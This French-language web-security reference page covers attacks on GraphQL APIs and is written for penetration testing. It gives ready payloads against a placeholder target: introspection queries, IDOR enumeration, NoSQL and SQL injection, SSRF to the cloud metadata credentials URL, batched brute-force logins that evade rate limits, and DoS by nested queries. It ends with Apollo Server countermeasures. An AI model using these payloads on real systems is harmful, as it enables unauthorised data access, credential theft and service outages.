Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Web Security
March 22, 2026

GraphQL Security

GraphQL est un langage de requête pour API qui remplace REST. Sa flexibilité et sa puissance introduisent des vecteurs d’attaque spécifiques absents des API REST classiques.

Rappel GraphQL§

# Requête (équivalent GET REST)
query {
  user(id: "1") {
    username
    email
    role
  }
}

# Mutation (équivalent POST/PUT/DELETE)
mutation {
  updateUser(id: "1", role: "admin") {
    id
    role
  }
}

# Subscription (temps réel via WebSocket)
subscription {
  newMessage {
    content
    author
  }
}

Introspection — cartographie du schéma§

L’introspection permet de découvrir l’intégralité du schéma GraphQL : types, requêtes, mutations, champs.

# Requête d'introspection complète
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { types { name fields { name type { name kind } } } } }"}'

# Introspection sur les types spécifiques
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __type(name: \"User\") { fields { name type { name } } } }"}'

# Récupérer toutes les mutations disponibles
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ __schema { mutationType { fields { name args { name type { name } } } } } }"}'

InQL — Burp extension pour GraphQL§

Extension Burp Suite : InQL
→ Charge automatiquement le schéma via introspection
→ Génère toutes les requêtes et mutations possibles
→ Interface pour les tester dans Repeater
# InQL en ligne de commande
pip install inql
inql -t https://target.com/graphql -o ./graphql_schema/
# → Génère des fichiers .graphql pour chaque requête/mutation

Attaques d’introspection§

# Si l'introspection est désactivée en production, tenter des variantes
# Field suggestion (GraphQL suggère les champs proches en cas d'erreur)
{"query": "{ usr { id } }"}
# → Error: "Did you mean 'user'?" → révèle les noms de champs

# Fragment sur __schema (contourne certains filtres)
{"query": "fragment a on __Schema { types { name } } { __schema { ...a } }"}

# Introspection via GET (certains serveurs l'acceptent)
curl "https://target.com/graphql?query=%7B__schema%7Btypes%7Bname%7D%7D%7D"

IDOR et BOLA via GraphQL§

# Accès direct à un objet par ID — manque de vérification d'autorisation
query {
  user(id: "2") {      # Changer l'ID pour accéder aux données d'autres utilisateurs
    email
    creditCard
    privateMessages { content }
  }
}

# Énumération d'IDs
query {
  user(id: "1") { email }
}
# Tester 1, 2, 3... dans Intruder Burp → accès aux données de tous les utilisateurs

Injection GraphQL§

# Injection NoSQL dans les arguments
query {
  user(username: {$ne: ""}) {    # Si l'argument est passé directement à MongoDB
    id
    email
    password
  }
}

# Injection SQL dans un argument résolveur
query {
  products(filter: "'; DROP TABLE products; --") {
    name
  }
}

# SSRF via un champ URL
mutation {
  importData(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") {
    result
  }
}

Batching Attacks§

GraphQL permet d’envoyer plusieurs opérations dans une seule requête HTTP — contournant les rate limits.

# Batching de requêtes (tableau JSON)
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '[
    {"query": "mutation { login(username: \"admin\", password: \"password1\") { token } }"},
    {"query": "mutation { login(username: \"admin\", password: \"password2\") { token } }"},
    {"query": "mutation { login(username: \"admin\", password: \"password3\") { token } }"}
  ]'
# → 1000 tentatives de login en une seule requête HTTP → bypass du rate limit par requête

# Aliases (batching alternatif dans une seule requête)
{
  a1: login(username: "admin", password: "pass1") { token }
  a2: login(username: "admin", password: "pass2") { token }
  a3: login(username: "admin", password: "pass3") { token }
}

Nested Queries — DOS par profondeur§

# Requête profondément imbriquée → explosion exponentielle du coût
query {
  user {
    friends {
      friends {
        friends {
          friends {
            friends {
              # ... encore 50 niveaux → serveur surchargé
              email
            }
          }
        }
      }
    }
  }
}

Field Duplication§

# Répéter le même champ des milliers de fois dans une requête
query {
  user(id: "1") {
    email email email email email email email email email email
    # ... × 10000 → DoS par traitement
  }
}

# Alias abuse
query {
  a1: user(id: "1") { email }
  a2: user(id: "1") { email }
  # ... × 1000 → DoS
}

Mass Assignment§

# Si le schéma expose des champs qui ne devraient pas être modifiables
mutation {
  updateProfile(
    name: "alice"
    role: "admin"        # Ce champ ne devrait pas être modifiable
    creditLimit: 999999  # Ni celui-ci
  ) {
    id
    role
    creditLimit
  }
}

Fingerprinting GraphQL§

# Identifier l'implémentation GraphQL (différentes réponses aux erreurs)
curl -X POST https://target.com/graphql -d '{"query": "notAQuery"}'
# Apollo Server → {"errors":[{"message":"Syntax Error...","locations":[...]}]}
# graphql-java  → {"errors":[{"message":"Invalid syntax..."}]}
# Hasura        → {"errors":[{"extensions":{"code":"parse-failed"}}]}

# Endpoint communs à tester
/graphql
/api/graphql
/graphql/v1
/v1/graphql
/api
/query
/gql

# Méthodes GET et POST (certains endpoints GraphQL acceptent GET)
GET /graphql?query={__typename}

Outils§

# Clairvoyance — reconstruit le schéma même si l'introspection est désactivée
# (via field suggestions d'erreur)
pip install clairvoyance
clairvoyance https://target.com/graphql -o schema.json

# graphw00f — fingerprint de l'implémentation GraphQL
pip install graphw00f
graphw00f -d -t https://target.com/graphql

# GraphQL Cop — scanner automatique de misconfigs
pip install graphql-cop
graphql-cop -t https://target.com/graphql -o json

# Altair / GraphiQL (GUI pour tester des requêtes interactivement)

Contre-mesures§

// Désactiver l'introspection en production (Apollo Server)
const server = new ApolloServer({
  schema,
  introspection: process.env.NODE_ENV !== 'production',
});

// Limiter la profondeur des requêtes
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
  validationRules: [depthLimit(5)],  // Max 5 niveaux d'imbrication
});

// Limiter la complexité
const { createComplexityLimitRule } = require('graphql-validation-complexity');
const complexityLimit = createComplexityLimitRule(1000);

// Rate limiting sur les opérations (pas seulement les requêtes HTTP)
// Désactiver le batching si non nécessaire
// Apollo Server
const server = new ApolloServer({
  allowBatchedHttpRequests: false,
});

// Authorisation par champ (ne pas exposer des champs sensibles sans vérification)
const resolvers = {
  User: {
    creditCard: (user, args, context) => {
      if (context.user.id !== user.id && !context.user.isAdmin) {
        throw new ForbiddenError("Accès refusé");
      }
      return user.creditCard;
    }
  }
};
—The Gardener